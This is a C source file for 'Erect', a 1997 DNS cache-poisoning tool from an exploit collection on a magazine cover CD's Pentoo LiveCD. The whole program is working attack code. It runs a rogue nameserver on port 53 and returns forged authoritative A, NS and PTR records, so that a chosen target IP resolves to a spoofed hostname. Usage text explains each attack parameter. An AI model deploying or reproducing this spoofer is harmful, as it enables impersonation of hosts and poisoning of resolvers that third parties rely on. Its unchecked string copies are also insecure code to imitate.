home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / erect.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  14KB  |  595 lines
  1. /* #dioxide 1997  THIS IS ORIGIONALLY MADE BY JOHAN ONLY MODS BY DIOXIDE */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <strings.h>
  7. #include <errno.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11.  
  12. #define VERSION        "Erect by Dioxide '97"
  13.  
  14. #define MAXBUFSIZE              64*1024
  15. #define DC_A            1
  16. #define DC_NS           2
  17. #define DC_CNAME        5
  18. #define DC_SOA          6
  19. #define DC_WKS          11
  20. #define DC_PTR          12
  21. #define DC_HINFO        13
  22. #define DC_MINFO        14
  23. #define DC_MX           15
  24. #define DC_TXT          16
  25.  
  26. typedef struct
  27.   {
  28.     unsigned short id;
  29.  
  30. unsigned char  rd:
  31.     1;           /* recursion desired */
  32. unsigned char  tc:
  33.     1;           /* truncated message */
  34. unsigned char  aa:
  35.     1;           /* authoritive answer */
  36. unsigned char  opcode:
  37.     4;       /* purpose of message */
  38. unsigned char  qr:
  39.     1;           /* response flag */
  40.  
  41. unsigned char  rcode:
  42.     4;        /* response code */
  43. unsigned char  unused:
  44.     2;       /* unused bits */
  45. unsigned char  pr:
  46.     1;           /* primary server required (non standard) */
  47. unsigned char  ra:
  48.     1;           /* recursion available */
  49.  
  50.     unsigned short qdcount;
  51.     unsigned short ancount;
  52.     unsigned short nscount;
  53.     unsigned short arcount;
  54.   }
  55. dnsheaderrec;
  56.  
  57. typedef struct
  58.   {
  59.     unsigned short labellen;
  60.     char label[256];
  61.     unsigned short type;
  62.     unsigned short class;
  63.     unsigned long ttl;
  64.     unsigned short buflen;
  65.     char buf[256];
  66.   }
  67. dnsrrrec;
  68.  
  69. typedef struct
  70.   {
  71.     dnsheaderrec h;
  72.  
  73.     dnsrrrec qd[20];
  74.     dnsrrrec an[20];
  75.     dnsrrrec ns[20];
  76.     dnsrrrec ar[20];
  77.   }
  78. dnsrec;
  79.  
  80. char *dnssprintflabel(char *s, char *buf, char *p);
  81. char *dnsaddlabel(char *p, char *label);
  82. void dnstxt2rr(dnsrrrec *rr, char *b);
  83. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
  84. char *dnsaddbuf(char *p, void *buf, short len);
  85. int dnsmakerawpacket(dnsrec *dns, char *buf);
  86. char *ip_to_arpa(char *ip);
  87. char *arparize(char *ip);
  88. char *get_token(char **src, char *token_sep);
  89.  
  90. char *dnssprintflabel(char *s, char *buf, char *p)
  91. {
  92.   unsigned short i,len;
  93.   char *b=NULL;
  94.  
  95.   len=(unsigned short)*(p++);
  96.   while (len)
  97.     {
  98.       while (len >= 0xC0)
  99.         {
  100.           if (!b)
  101.             b=p+1;
  102.           p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  103.           len=(unsigned short)*(p++);
  104.         }
  105.  
  106.       for (i=0;i<len;i++)
  107.         *(s++)=*(p++);
  108.  
  109.       *(s++)='.';
  110.  
  111.       len=(unsigned short)*(p++);
  112.     }
  113.  
  114.   *(s++)=0;
  115.   if (b)
  116.     return(b);
  117.  
  118.   return(p);
  119. }
  120.  
  121. char *dnsaddlabel(char *p, char *label)
  122. {
  123.   char *p1;
  124.  
  125.   while ((*label) && (label))
  126.     {
  127.       if ((*label == '.') && (!*(label+1)))
  128.         break;
  129.  
  130.       p1=strchr(label,'.');
  131.  
  132.       if (!p1)
  133.         p1=strchr(label,0);
  134.  
  135.       *(p++)=p1-label;
  136.       memcpy(p,label,p1-label);
  137.       p+=p1-label;
  138.  
  139.       label=p1;
  140.       if (*p1)
  141.         label++;
  142.     }
  143.   *(p++)=0;
  144.  
  145.   return(p);
  146. }
  147.  
  148. #define DEFAULTTTL 60*10
  149.  
  150. void dnstxt2rr(dnsrrrec *rr, char *b)
  151. {
  152.   char *tok[20], *p;
  153.   unsigned short numt=0, i;
  154.   static char *buf=NULL;
  155.  
  156.   if (!buf)
  157.     {
  158.       if ((buf=malloc(1024)) == NULL)
  159.         {
  160.           perror("malloc");
  161.           exit(-1);
  162.         }
  163.     }
  164.  
  165.   strcpy(buf,b);
  166.   p=strtok(buf," \t");
  167.   do
  168.     {
  169.       tok[numt++]=p;
  170.     }
  171.   while (p=strtok(NULL," \t"));
  172.  
  173.   p=dnsaddlabel(rr->label,tok[0]);
  174.   rr->labellen=p-rr->label;
  175.  
  176.   i=1;
  177.  
  178.   if (isdigit(*p))
  179.     rr->ttl=htonl(atol(tok[i++]));
  180.   else
  181.     rr->ttl=htonl(DEFAULTTTL);
  182.  
  183.   if (strcmp(tok[i],"IN") == 0)
  184.     i++;
  185.  
  186.   rr->class=htons(1);
  187.  
  188.   if (strcmp(tok[i],"A") == 0)
  189.     {
  190.       i++;
  191.       rr->type=htons(DC_A);
  192.       if (i < numt)
  193.         {
  194.           inet_aton(tok[i],rr->buf);
  195.           rr->buflen=4;
  196.         }
  197.       else
  198.         rr->buflen=0;
  199.       return;
  200.     }
  201.  
  202.   if (strcmp(tok[i],"CNAME") == 0)
  203.     {
  204.       i++;
  205.       rr->type=htons(DC_CNAME);
  206.       if (i < numt)
  207.         {
  208.           p=dnsaddlabel(rr->buf,tok[i]);
  209.           rr->buflen=p-rr->buf;
  210.         }
  211.       else
  212.         rr->buflen=0;
  213.       return;
  214.     }
  215.  
  216.   if (strcmp(tok[i],"NS") == 0)
  217.     {
  218.       i++;
  219.       rr->type=htons(DC_NS);
  220.       if (i < numt)
  221.         {
  222.           p=dnsaddlabel(rr->buf,tok[i]);
  223.           rr->buflen=p-rr->buf;
  224.         }
  225.       else
  226.         rr->buflen=0;
  227.       return;
  228.     }
  229.  
  230.   if (strcmp(tok[i],"PTR") == 0)
  231.     {
  232.       i++;
  233.       rr->type=htons(DC_PTR);
  234.       if (i < numt)
  235.         {
  236.           p=dnsaddlabel(rr->buf,tok[i]);
  237.           rr->buflen=p-rr->buf;
  238.         }
  239.       else
  240.         rr->buflen=0;
  241.       return;
  242.     }
  243.  
  244.   if (strcmp(tok[i],"MX") == 0)
  245.     {
  246.       i++;
  247.       rr->type=htons(DC_MX);
  248.       if (i < numt)
  249.         {
  250.           p=rr->buf;
  251.           *((unsigned short *)p)=htons(atoi(tok[i++]));
  252.           p+=2;
  253.           p=dnsaddlabel(p,tok[i]);
  254.           rr->buflen=p-rr->buf;
  255.         }
  256.       else
  257.         rr->buflen=0;
  258.       return;
  259.     }
  260. }
  261.  
  262. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
  263. {
  264.   int i;
  265.   va_list va;
  266.  
  267.   dns->h.qdcount=htons(qdcount);
  268.   dns->h.ancount=htons(ancount);
  269.   dns->h.nscount=htons(nscount);
  270.   dns->h.arcount=htons(arcount);
  271.   dns->h.rcode=0;
  272.  
  273.   va_start(va, arcount);
  274.  
  275.   for (i=0;i<qdcount;i++)
  276.     dnstxt2rr(&dns->qd[i],va_arg(va, char *));
  277.  
  278.   for (i=0;i<ancount;i++)
  279.     dnstxt2rr(&dns->an[i],va_arg(va, char *));
  280.  
  281.   for (i=0;i<nscount;i++)
  282.     dnstxt2rr(&dns->ns[i],va_arg(va, char *));
  283.  
  284.   for (i=0;i<arcount;i++)
  285.     dnstxt2rr(&dns->ar[i],va_arg(va, char *));
  286.  
  287.  
  288.   va_end(va);
  289. }
  290.  
  291. char *dnsaddbuf(char *p, void *buf, short len)
  292. {
  293.   memcpy(p,buf,len);
  294.   return(p+len);
  295. }
  296.  
  297. int dnsmakerawpacket(dnsrec *dns, char *buf)
  298. {
  299.   char *p;
  300.   int i;
  301.   unsigned short len;
  302.  
  303.   memcpy(buf,&dns->h,sizeof(dnsheaderrec));
  304.  
  305.   p=buf+sizeof(dnsheaderrec);
  306.  
  307.   /********** Query ***********/
  308.   for (i=0;i<ntohs(dns->h.qdcount);i++)
  309.     {
  310.       p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
  311.       p=dnsaddbuf(p,&dns->qd[i].type,2);
  312.       p=dnsaddbuf(p,&dns->qd[i].class,2);
  313.     }
  314.  
  315.   /********** Answer ***********/
  316.   for (i=0;i<ntohs(dns->h.ancount);i++)
  317.     {
  318.       p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
  319.       p=dnsaddbuf(p,&dns->an[i].type,2);
  320.       p=dnsaddbuf(p,&dns->an[i].class,2);
  321.       p=dnsaddbuf(p,&dns->an[i].ttl,4);
  322.       len=htons(dns->an[i].buflen);
  323.       p=dnsaddbuf(p,&len,2);
  324.       p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  325.     }
  326.  
  327.   /********** Nameservers ************/
  328.   for (i=0;i<ntohs(dns->h.nscount);i++)
  329.     {
  330.       p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
  331.       p=dnsaddbuf(p,&dns->ns[i].type,2);
  332.       p=dnsaddbuf(p,&dns->ns[i].class,2);
  333.       p=dnsaddbuf(p,&dns->ns[i].ttl,4);
  334.       len=htons(dns->ns[i].buflen);
  335.       p=dnsaddbuf(p,&len,2);
  336.       p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  337.     }
  338.  
  339.   /********** Additional ************/
  340.   for (i=0;i<ntohs(dns->h.arcount);i++)
  341.     {
  342.       p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
  343.       p=dnsaddbuf(p,&dns->ar[i].type,2);
  344.       p=dnsaddbuf(p,&dns->ar[i].class,2);
  345.       p=dnsaddbuf(p,&dns->ar[i].ttl,4);
  346.       len=htons(dns->ar[i].buflen);
  347.       p=dnsaddbuf(p,&len,2);
  348.       p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  349.     }
  350.  
  351.   return(p-buf);
  352. }
  353.  
  354.  
  355. char *get_token(src, token_sep)
  356. char **src;
  357. char *token_sep;
  358. {
  359.   char    *tok;
  360.   if (!(src && *src && **src))
  361.     return NULL;
  362.   while(**src && strchr(token_sep, **src))
  363.     (*src)++;
  364.   if(**src)
  365.     tok = *src;
  366.   else
  367.     return NULL;
  368.   *src = strpbrk(*src, token_sep);
  369.   if (*src)
  370.     {
  371.       **src = '\0';
  372.       (*src)++;
  373.       while(**src && strchr(token_sep, **src))
  374.         (*src)++;
  375.     }
  376.   else
  377.     *src = "";
  378.   return tok;
  379. }
  380.  
  381. char *ip_to_arpa(char *ip)
  382. {
  383.   char *arpablock, *bit_a, *bit_b, *bit_c;
  384.   char *oomf;
  385.  
  386.   arpablock = NULL;
  387.   arpablock = (char *)malloc(64);
  388.   oomf = (char *)malloc(64);
  389.  
  390.   strcpy(oomf, ip);
  391.  
  392.   bit_a = get_token(&oomf, ".");
  393.   bit_b = get_token(&oomf, ".");
  394.   bit_c = get_token(&oomf, ".");
  395.  
  396.   sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);
  397.  
  398.   return arpablock;
  399.  
  400. }
  401. char *arparize(char *ip)
  402. {
  403.   char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
  404.   char *oomf;
  405.  
  406.   arpa = NULL;
  407.   arpa = (char *)malloc(64);
  408.   oomf = (char *)malloc(64);
  409.  
  410.   strcpy(oomf, ip);
  411.  
  412.   bit_a = get_token(&oomf, ".");
  413.   bit_b = get_token(&oomf, ".");
  414.   bit_c = get_token(&oomf, ".");
  415.   bit_d = oomf;
  416.  
  417.   sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);
  418.  
  419.   return arpa;
  420.  
  421. }
  422.  
  423.  
  424. void main(int argc, char *argv[])
  425. {
  426.   int sock, fromlen, numread, len, query;
  427.   struct sockaddr_in sa, from, to;
  428.   char *buf, *sendbuf;
  429.   char *domainnamebuf;
  430.   dnsheaderrec *dns;
  431.   char *p;
  432.   dnsrec dnsh;
  433.   char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock;
  434.   char *kludgeaddname, *kludgetargetblock;
  435.   char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4;
  436.   char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip;
  437.  
  438.   if (argc < 6)
  439.     {
  440.       printf("usage: %s <lookupname> <fakenshost> <fakensip> <targetip> <spoofname>\n", argv[0]);
  441.       printf("  lookupname : EG cacher.dioxide.com, used to initiate false caching\n");
  442.       printf("  fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n");
  443.       printf("  fakensip   : EG 205.164.89.1, IP of server to answer fake PTR's\n");
  444.       printf("  targetip   : EG 200.3.4.10, IP of machine you want to spoof from\n");
  445.       printf("  spoofname  : EG bollox.org, name you want targetip to resolve as\n");
  446.       exit(-1);
  447.     }
  448.   addname = argv[1];
  449.   fakens = argv[2];
  450.   fakensip = argv[3];
  451.   targetip = argv[4];
  452.   spoofname = argv[5];
  453.   targetblock = (char *)malloc(64);
  454.   targetblock = ip_to_arpa(targetip);
  455.   kludgetargetblock = (char *)malloc(64);
  456.   strcpy(kludgetargetblock, targetblock);
  457.   strcat(kludgetargetblock, ".");
  458.   kludgeaddname = (char *)malloc(64);
  459.   strcpy(kludgeaddname, addname);
  460.   strcat(kludgeaddname, ".");
  461.   arpatargetip = (char *)malloc(256);
  462.   arpatargetip = arparize(targetip);
  463.   klarpatargetip = (char *)malloc(64);
  464.   strcpy(klarpatargetip, arpatargetip);
  465.   strcat(klarpatargetip, ".");
  466.  
  467.   cache_line_1 = (char *)malloc(256);
  468.   cache_line_2_1 = (char *)malloc(256);
  469.   cache_line_2_2 = (char *)malloc(256);
  470.   cache_line_3 = (char *)malloc(256);
  471.   cache_line_4 = (char *)malloc(256);
  472.   ptr_line_1 = (char *)malloc(256);
  473.   ptr_line_2 = (char *)malloc(256);
  474.   sprintf(cache_line_1, "%s IN A", addname);
  475.   sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip);
  476.   sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip);
  477.   sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens);
  478.   sprintf(cache_line_4, "%s IN A %s", fakens, fakensip);
  479.  
  480.   sprintf(ptr_line_1, "%s IN PTR", arpatargetip);
  481.   sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname);
  482.  
  483.   printf("%s now running!\n", VERSION);
  484.   printf("  lookupname : %s\n", addname);
  485.   printf("  fakenshost : %s\n", fakens);
  486.   printf("  fakensip   : %s\n", fakensip);
  487.   printf("  targetip   : %s\n", targetip);
  488.   printf("  spoofname  : %s\n\n", spoofname);
  489.   printf("  TARGETARPA : %s\n", arpatargetip);
  490.   printf("Waiting for connect...\n");
  491.  
  492.  
  493.   if ((buf = malloc(MAXBUFSIZE)) == NULL)
  494.     {
  495.       perror("malloc");
  496.       exit(-1);
  497.     }
  498.  
  499.   if ((sendbuf = malloc(MAXBUFSIZE)) == NULL)
  500.     {
  501.       perror("malloc");
  502.       exit(-1);
  503.     }
  504.  
  505.   if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL)
  506.     {
  507.       perror("malloc");
  508.       exit(-1);
  509.     }
  510.  
  511.   if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  512.     {
  513.       perror("socket");
  514.       exit(-1);
  515.     }
  516.  
  517.   sa.sin_family = AF_INET;
  518.   /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  519.   sa.sin_addr.s_addr = INADDR_ANY;
  520.   sa.sin_port = htons(53);
  521.  
  522.   if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
  523.     {
  524.       perror("bind");
  525.       exit(-1);
  526.     }
  527.  
  528.   setvbuf(stdout,NULL,_IONBF,0);
  529.  
  530.   while (1)
  531.     {
  532.       fromlen=sizeof(from);
  533.       if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0)
  534.         {
  535.           perror("recvfrom");
  536.           continue;
  537.         }
  538.  
  539.       /* Kludge to stop that damn router */
  540.       /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
  541.         continue;*/
  542.  
  543.       dns=(dnsheaderrec *)buf;
  544.  
  545.       if (dns->qr)
  546.         continue;
  547.  
  548.       p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
  549.       query=ntohs(*(unsigned short *)p);
  550.       printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
  551.  
  552.       if (strcasecmp(domainnamebuf,kludgeaddname) == 0)
  553.         {
  554.           dnsbuildpacket(&dnsh,1,2,1,1,
  555.                          cache_line_1,
  556.                          cache_line_2_1,
  557.                          cache_line_2_2,
  558.                          cache_line_3,
  559.                          cache_line_4);
  560.  
  561.         }
  562.       else if (strcasecmp(domainnamebuf,klarpatargetip) == 0)
  563.         {
  564.           dnsbuildpacket(&dnsh,1,1,0,0,
  565.                          ptr_line_1,
  566.                          ptr_line_2);
  567.         }
  568.       else
  569.         {
  570.           /* Error */
  571.           dnsh.h.rcode=5;
  572.           strcat(domainnamebuf," IN A");
  573.           dnsbuildpacket(&dnsh,1,0,0,0,
  574.                          domainnamebuf);
  575.         }
  576.       dnsh.qd[0].type=htons(query);
  577.  
  578.       dnsh.h.id=((dnsheaderrec *)buf)->id;
  579.       dnsh.h.qr=1;
  580.       dnsh.h.aa=1;
  581.  
  582.       len=dnsmakerawpacket(&dnsh,sendbuf);
  583.  
  584.       to.sin_family=AF_INET;
  585.       to.sin_addr.s_addr=from.sin_addr.s_addr;
  586.       to.sin_port=from.sin_port;
  587.  
  588.       if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0)
  589.         {
  590.           perror("sendto");
  591.           continue;
  592.         }
  593.     }
  594. }
  595. /*                    www.hack.co.za              [2000]*/